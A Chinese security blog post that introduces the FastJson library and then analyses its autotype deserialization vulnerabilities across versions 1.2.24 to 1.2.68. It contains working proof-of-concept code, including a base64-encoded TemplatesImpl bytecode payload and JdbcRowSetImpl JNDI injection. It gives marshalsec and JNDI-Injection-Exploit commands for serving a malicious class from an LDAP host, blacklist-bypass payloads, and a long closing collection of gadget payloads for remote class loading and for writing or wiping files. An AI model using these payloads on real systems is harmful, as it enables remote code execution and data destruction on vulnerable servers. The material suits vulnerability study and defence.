FastJson的使用

简介

FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。分别通过 toJSONStringparseObject/parse 来实现序列化和反序列化

导入依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
将类转为 json

最常用的方法就是 JSON.toJSONString() ,该方法有若干重载方法,带有不同的参数,其中常用的包括以下几个:

  • 序列化特性:com.alibaba.fastjson.serializer.SerializerFeature,可以通过设置多个特性到 FastjsonConfig 中全局使用,也可以在使用具体方法中指定特性
  • 序列化过滤器:com.alibaba.fastjson.serializer.SerializeFilter, 一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化
  • 序列化时的配置:com.alibaba.fastjson.serializer.SerializeConfig,可以添加特定类型自定义的序列化配置
将 json 反序列化为类

将 json 数据反序列化时常使用的方法为parse()parseObject()parseArray(),这三个方法也均包含若干重载方法,带有不同参数:

  • 反序列化特性:com.alibaba.fastjson.parser.Feature

  • 类的类型:java.lang.reflect.Type,用来执行反序列化类的类型

  • 处理泛型反序列化:com.alibaba.fastjson.TypeReference

  • 编程扩展定制反序列化:com.alibaba.fastjson.parser.deserializer.ParseProcess,例如 ExtraProcessor 用于处理多余的字段,ExtraTypeProvider 用于处理多余字段时提供类型信息

1
2
3
4
5
6
7
//序列化
String text = JSON.toJSONString(obj);

//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

​ 标准模式下的JSON序列化和反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import com.alibaba.fastjson.JSON;

class User {
private String name;
private int age;
public User() {}

@Override
public String toString() {
return "User{" + "name=" + name + ", age=" + age + '}';
}

public String getName() {
System.out.println("调用了getName");
return name;
}

public void setName(String name) {
System.out.println("调用了setName");
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public User(String name, int age) {
this.name = name;
this.age = age;
}
}

public class JsonTest {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("micgo");

//Fastjson序列化
String s = JSON.toJSONString(user); //在转换的同时调用了get方法
System.out.println(s); //{"age":18,"name":"micgo"}

//Fastjson反序列化
User user1 = JSON.parseObject(s, User.class);
System.out.println(user1); //User:{name=micgo, age=18}
}
}

若序列化代码加上参数 SerializerFeature.WriteClassName

1
2
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1); //{"@type":"User","age":18,"name":"micgo"}

传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个**@type**,这个是代表对象类型的JSON文本。FastJson的漏洞就是他这一功能产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的getter/setter/is方法

反序列化

1
2
3
4
5
6
7
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);

JSONObject jsonObject = JSON.parseObject(s1);
System.out.println(jsonObject); //{"name":"micgo","age":18}

User user2 = JSON.parseObject(s1,User.class);
System.out.println(user2); //User:{name=micgo, age=18}

parsejson进行反序列化时,字符串中有@type会自动执行指定类的set方法,并且会转换为@type指定类的类型

parseObject进行反序列化时会自动执行@type指定类的get和set方法,并且转换为JSONObject

parseObject参数中加一个类参数则会转换为其指定的类(指定Object会自动转化为JSONObject)

JSON.parseObjectJSON.parse这两个方法差不多,JSON.parseObject的底层调用的还是JSON.parse方法,只是在JSON.parse的基础上做了一个封装

反序列化漏洞

fastjson反序列化漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,执行代码

demo

@type 指定类,使用JSON.parse方法反序列化会调用此类的set方法,使用JSON.parseObject方法反序列化会调用此类get和set方法。可以写一个恶意类,然后通过这一特性实现命令执行

EvilClass.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.io.IOException;

public class EvilClass {
private String name;
private int id;

public EvilClass(){ System.out.println("无参构造"); }

@Override
public String toString() {
return "User{" + "name=" + name + ", id=" + id + '}';
}

public String getName() {
System.out.print("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getId() {
System.out.println("getId");
return id;
}

public void setId(int id) throws IOException {
System.out.println("setId");
this.id = id;
Runtime.getRuntime().exec("calc");
}
}

FastJsonTest.java

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class FastJsonTest {
public static void main(String[] args) {
String json = "{\"@type\":\"EvilClass\",\"id\":1,\"name\":\"micgo\"}";
System.out.println(JSON.parse(json));
}
}
image-20230511131325444

两条反序列化利用链分析,影响范围:fastjson 1.2.22-1.2.24

TemplatesImpl
POC

EvilClass.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{
}

public static void main(String[] args) throws Exception{
EvilClass evilClass = new EvilClass();
}
}

使用javac将java文件编译成字节码文件.class,然后将字节码进行base64加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;

public class Code {
public static void main(String[] args) {
byte[] buffer = null;
String filepath = ".\\target\\classes\\EvilClass.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
System.out.println(value);
}
}

POC1.java

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class POC1 {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMRXZpbENsYXNzOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAJZXZpbENsYXNzBwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAIAAkHAC8MADAAMQEACGNhbGMuZXhlDAAyADMBAAlFdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAA8AAAAEAAEAFwABABEAGAACAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAFAAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABkAGgACAAAAAQAbABwAAwAPAAAABAABABcACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAFwAIABgADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"], '_name':'micgo', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

关于POC中的payload解释:

image-20230511142415975

@type主要指向利用的类,这里是需要用到这个类中的_bytecodes来加载恶意类的字节码

_bytecodes用来加载恶意类

调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行

Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField在parseObject中才能触发

image-20230511142607761

Fastjson通过 _bytecodes 字段传入恶意类,调用_outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行

image-20230511140658226
调试分析

先看一下com.sun.org.apache.xalan.internal.xsltc.trax的TemplatesImplgetOutputProperties方法,它是 _outputProperties的getter方法,这里会去调用newTransformer()

image-20230511144249675

继续跟进,在newTransformerImpl对象时会进入到getTransletInstance()

image-20230511144407747

继续跟进,在getTransletInstance()中,如果在 _name 不等于null且 _class 等于null时会进入到defineTransletClasses()中,这里先继续往下看,其中_transletIndex为-1,也就是说会对_class数组中的第一个类进行实例化,并且会强制转换为AbstractTranslet,接下来来看下class是怎么来的

image-20230511144553827

跟进到defineTransletClasses()中,通过for循环加载_bytecodes[]来加载类,也就是说_bytecodes[]就是我们构造注入的点,其中_tfactory不为null,并且因为加载完类后会强制类型转换为AbstractTranslet,也就是说加载的类必须为AbstractTranslet的子类,这样整条链子就齐了

image-20230511144717151

总结一下TemplatesImpl链子要满足的点:

  • fastjson反序列化时需有Feature.SupportNonPublicField参数
  • _bytecodes[]需进行base64编码
  • _bytecodes[]中加载的类需为AbstractTranslet的子类
  • _name不为null
  • _tfactory不为null
JdbcRowSetImpl

JdbcRowSetImpl链只需要可以控制输入就能利用,然而限制则是不同版本的jdk对jndi和rmi的限制

image-20230511150855649
POC
1
2
3
4
5
6
public class FastJsonTest {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/#Exp\", \"autoCommit\":false}";
JSON.parse(payload);
}
}

EvilClass.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory, Serializable {
public EvilClass() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}

public static void main(String[] args) throws IOException {
EvilClass exploit = new EvilClass();
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

把恶意类编译为class文件,在当前目录起一个python的web服务

1
python -m http.server 2333

使用marshalsec开启一个ldap服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2333/#Exploit 1099

或者直接用JNDI-Injection-Exploit-1.0-SNAPSHOT.jar

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1
image-20230511155436752

把该ldap服务地址放到POC里

执行POC

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class FastJsonTest {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/a4cnvo\", \"autoCommit\":false}";
JSON.parse(payload);
}
}
image-20230511155607281
调试分析

setAutoCommit函数,当this.conn为null的时候会进入到this.connect()中,而this.conn在构造函数中初始为null

image-20230511163846065

继续跟进可以看见var1.lookup()经典的JNDI注入,且DataSourceName可控

image-20230511163723406

lookup(getDataSourceName()) lookup函数链接我们写入的服务,加载我们的恶意类

1.2.25-1.2.41

在此版本中,新增了黑名单和白名单功能。在ParserConfig中,可以看到黑名单的内容,而且设置了一个autoTypeSupport用来控制是否可以反序列化,autoTypeSupport默认为false且禁止反序列化,为true时会使用checkAutoType来进行安全检测

image-20230511201723764

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//黑名单denylist
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

接着来看一下checkAutoType怎么进行拦截的,在autoTypeSupport开启的情况下先通过白名单进行判断,如果符合的话就进入TypeUtils.loadClass,然后在通过黑名单进行判断,如果在黑名单中就直接抛出异常

image-20230511202004327

接着继续往下看,从Mapping中寻找类然后继续从deserializers中寻找类,如果autoTypeSupport没有开启的情况下,会对指定的@type类进行黑白名单判断,然后抛出异常,最后如果autoTypeSupport开启的情况下,会再一次进行判断然后进入到TypeUtils.loadClass

image-20230511202516499

TypeUtils.loadClass中,可以看到对[ L ;进行了处理,而其中在处理 L ; 的时候存在了逻辑漏洞,可以在@type的前后分别加上 L ; 来进行绕过

image-20230511202726302

新payload即在原payload前后分别加上 L 和 ; 且会截去

1
2
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}

image-20230511203738984

1.2.42

在此版本中,将黑名单改为了hashcode,但是在com.alibaba.fastjson.util.TypeUtils#fnv1a_64中有hashcode的计算方法,然后在checkAutoType中,使用hashcode对L ;进行了截取,然后进入到TypeUtils.loadClass中,也就是说对L ;进行双写即可绕过

1
2
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}
1.2.43

在此版本中,checkAutoTypeLL进行了判断,如果类以LL开头,则直接抛出异常

image-20230511205030370

TypeUtils.loadClass中,还对 [ 进行了处理,因此可以通过 [ 来进行绕过

payload:

1
2
3
4
5
6
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:1389/g0tvin",
"autoCommit":true
}

该payload在前几个版本也可以使用,影响版本1.2.25-1.2.43

1.2.44

修复了[的绕过,在checkAutoType中进行判断如果类名以[开始则直接抛出异常,由字符串处理导致的黑名单绕过告一段落

1.2.45

增加了黑名单,存在组件漏洞,需要有mybatis组件。影响版本:1.2.25-1.2.45 (黑名单列表需要不断补充)

payload如下:

1
2
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/g0tvin"}}
1.2.47

在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。影响版本:1.2.25-1.2.47

payload:

1
2
3
4
5
6
7
8
9
10
11
{
"1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1389/g0tvin",
"autoCommit": true
}
}

这次的绕过问题还是出现在 checkAutoType() 方法中

1.2.48

MiscCodec中修改了cache的默认值,修改为false,并且对TypeUtils.loadClass中的mapping.put做了限制

1.2.68

1.2.48-1.2.68中还出现了一些黑名单的绕过。在此版本中新增了一个safeMode功能,如果开启的话,将会直接抛出异常,完全杜绝了autoTypeSupport的绕过。于此同时还曝出了在不开启safeMode的前提下,对autoTypeSupport的绕过

image-20230511212848151

通过expectClass进行绕过,当传入的expectClass不在黑名单中后,expectClassFlag的值为true时,会调用TypeUtils.loadClass加载类,其中clazz也就是传进去的另一个类名必须为expectClass的子类

image-20230511212950684

接下来找一下 checkAutoType() 几个重载方法是否有可控的 expectClass 的入参方式,最终找到了以下几个类:

  • ThrowableDeserializer#deserialze()
  • JavaBeanDeserializer#deserialze()

ThrowableDeserializer#deserialze() 方法直接将 @type 后的类传入 checkAutoType() ,并且 expectClass 为 Throwable.class

image-20230511213337159

通过 checkAutoType() 之后,将使用 createException 来创建异常类的实例

image-20230511213359272

这就形成了 Throwable 子类绕过 checkAutoType() 的方式。需要找到 Throwable 的子类,这个类的 getter/setter/static block/constructor 中含有具有威胁的代码逻辑

Throwable 类似地,还有 AutoCloseable ,之所以使用 AutoCloseable 以及其子类可以绕过 checkAutoType() ,是因为 AutoCloseable 是属于 fastjson 内置的白名单中,其余的调用链一致

这里总结一下恶意类要满足的条件:

  • 恶意类不在黑名单内
  • 恶意类的父类(例如AutoCloseable) 不在黑名单内
  • 恶意类不能是抽象类
  • 恶意类中的getter/setter/static block/constructor能触发恶意操作
payload合集

以下是各个途径搜集的 payload,版本自测:

JdbcRowSetImpl

1
2
3
4
5
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1389/g0tvin",
"autoCommit": true
}

TemplatesImpl

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgA...k="],
'_name': 'su18',
'_tfactory': {},
"_outputProperties": {},
}

JndiDataSourceFactory

1
2
3
4
5
6
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:1389/g0tvin"
}
}

SimpleJndiBeanFactory

1
2
3
4
5
6
7
8
9
10
11
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://127.0.0.1:1389/g0tvin",
"propertyPath": "su18",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:1389/g0tvin"
]
}
}

DefaultBeanFactoryPointcutAdvisor

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:1389/g0tvin"
]
},
"adviceBeanName": "ldap://127.0.0.1:1389/g0tvin"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}

WrapperConnectionPoolDataSource

1
2
3
4
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
}

JndiRefForwardingDataSource

1
2
3
4
5
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://127.0.0.1:1389/g0tvin",
"loginTimeout": 0
}

InetAddress

1
2
3
4
{
"@type": "java.net.InetAddress",
"val": "http://dnslog.com"
}

Inet6Address

1
2
3
4
{
"@type": "java.net.Inet6Address",
"val": "http://dnslog.com"
}

URL

1
2
3
4
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}

JSONObject

1
2
3
4
5
6
7
8
9
{
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
}
""
}

URLReader

1
2
3
4
5
6
7
8
9
10
{
"poc": {
"@type": "java.lang.AutoCloseable",
"@type": "com.alibaba.fastjson.JSONReader",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:9999"
}
}
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/path/to/target"
},
"parameters": {
"@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
"filename": "filecontent"
}
}

BasicDataSource

1
2
3
4
5
6
7
8
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}

JndiConverter

1
2
3
4
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:1389/g0tvin"
}

JtaTransactionConfig

1
2
3
4
5
6
7
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://127.0.0.1:1389/g0tvin"
}
}

JndiObjectFactory

1
2
3
4
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://127.0.0.1:1389/g0tvin"
}

AnterosDBCPConfig

1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://127.0.0.1:1389/g0tvin"
}

AnterosDBCPConfig2

1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://127.0.0.1:1389/g0tvin"
}

CacheJndiTmLookup

1
2
3
4
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": "ldap://127.0.0.1:1389/g0tvin"
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileWriter",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"stream":
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
},
"writer":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.solr.common.util.FastOutputStream",
"tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"sink":
{
"$ref":"$.stream"
},
"start":38
},
"close":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.iq80.snappy.SnappyOutputStream",
"out":
{
"$ref":"$.writer"
}
}
}

BasicDataSource

1
2
3
4
5
6
7
8
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "true",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}

HikariConfig

1
2
3
4
{
"@type": "com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:1389/g0tvin"
}

HikariConfig

1
2
3
4
{
"@type": "com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:1389/g0tvin"
}

HikariConfig

1
2
3
4
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:1389/g0tvin"
}

HikariConfig

1
2
3
4
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:1389/g0tvin"
}

SessionBeanProvider

1
2
3
4
5
{
"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"jndiName": "ldap://127.0.0.1:1389/g0tvin",
"Object": "su18"
}

JMSContentInterceptor

1
2
3
4
5
6
7
8
9
{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://127.0.0.1:1389/g0tvin"
},
"namespace": ""
}

ContextClassLoaderSwitcher

1
2
3
4
5
6
7
8
9
{
"@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
"contextClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"a": {
"@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
}
}

OracleManagedConnectionFactory

1
2
3
4
{
"@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
"xaDataSourceName": "ldap://127.0.0.1:1389/g0tvin"
}

JNDIConfiguration

1
2
3
4
{
"@type": "org.apache.commons.configuration.JNDIConfiguration",
"prefix": "ldap://127.0.0.1:1389/g0tvin"
}

参考文章:https://javasec.org/java-vuls/FastJson.html

https://tttang.com/archive/1579/